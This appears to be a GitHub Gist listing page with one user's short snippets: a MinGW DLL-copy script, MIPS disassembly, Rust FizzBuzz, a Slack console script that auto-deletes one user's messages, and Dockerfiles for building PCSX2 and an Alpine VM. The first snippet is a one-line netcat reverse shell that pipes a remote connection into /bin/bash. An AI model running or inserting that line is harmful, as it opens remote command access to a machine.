Skip to content

Instantly share code, notes, and snippets.

@SamRH
SamRH / rshell.sh
Created June 28, 2011 03:05
Netcat Reverse Shell
cat /tmp/blarg | nc localhost 6667 | /bin/bash &> /tmp/blarg #replace localhost with IP
@SamRH
SamRH / mingw32-finddll.sh
Created December 30, 2011 07:15
A script to find and copy required DLLs of an executable to the current directory
#!/bin/bash
DLLBINDIR='/usr/i686-pc-mingw32/sys-root/mingw/bin/'
function usage
{
echo "Usage: `basename $0` file.exe"
echo \
"copies required dynamically linked libraries to \
the current directory"
; ======================================================
; Subroutine sceUsbAcc_internal_79A1C743 - Address 0x00000000 - Aliases: sceUsbAcc_79A1C743, sceUsbAcc_driver_79A1C743
; Exported in sceUsbAcc_internal
; Exported in sceUsbAcc
; Exported in sceUsbAcc_driver
sceUsbAcc_internal_79A1C743:
0x00000000: 0x27BDFFF0 '...'' - addiu $sp, $sp, -16
0x00000004: 0xAFB10004 '....' - sw $s1, 4($sp)
0x00000008: 0xAFB00000 '....' - sw $s0, 0($sp)
0x0000000C: 0xAFBF0008 '....' - sw $ra, 8($sp)
// the various moudules im going to use
use std::int;
use std::io;
// see comment for bang but 3
fn fizz(i: int) -> bool {
i % 3 == 0
}
// function using an implicit return to evaluate divisibility by 5
@SamRH
SamRH / slackhecks.js
Created November 21, 2017 02:44
Slack Auto-Delete Specific Users Messsages
/* Execute this in the slack developer console - can access it by spam clicking team icons
* - make sure to replace TEAM_ID, USER_ID, and CHANNEL_ID first
* - requires you have permissions to delete ofc
*/
TS.channels.addMsg = function e(t, n) {
/* begin message check and delete */
if (n.type == "message" && n.source_team_id == "TEAM_ID" && n.user == "USER_ID") {
TS.api.call("chat.delete", {_attempts: 0, _delay_ms: 100, channel: "CHANNEL_ID", ts: n.ts})
}
/* end message check and delete */
@SamRH
SamRH / pcsx2.dockerfile
Last active April 23, 2022 07:58
Containerfile for building PCSX2
# Containerfile (aka Dockerfile) with all deps for building PCSX2
#
# `docker build -f Containerfile -t pcsx2-builder`
# `docker run -v .:/build:Z pcsx2-builder bash -c './build.sh --clean --release --lto -DQT_BUILD=TRUE'`
#
# Using podman instead of docker is fine too just make sure to `podman unshare chown 1001:1001 /path/to/pcsx2src` before running
# and `podman unshare chown -R 0:0 /path/to/pcsx2src` after.
FROM docker.io/ubuntu:20.04
# deps for building PCSX2
@SamRH
SamRH / Containerfile
Last active October 11, 2023 19:29
AArch64 Alpine Docker to VM
FROM alpine:latest
ARG ARCH=arm64
# install required packages and enable ssh
RUN apk update
RUN apk add linux-virt linux-virt-dev gcc make openrc linux-virt u-boot-tools dropbear openssh-client
RUN echo 'rc_need="root net"' >> /etc/conf.d/dropbear
RUN rc-update add dropbear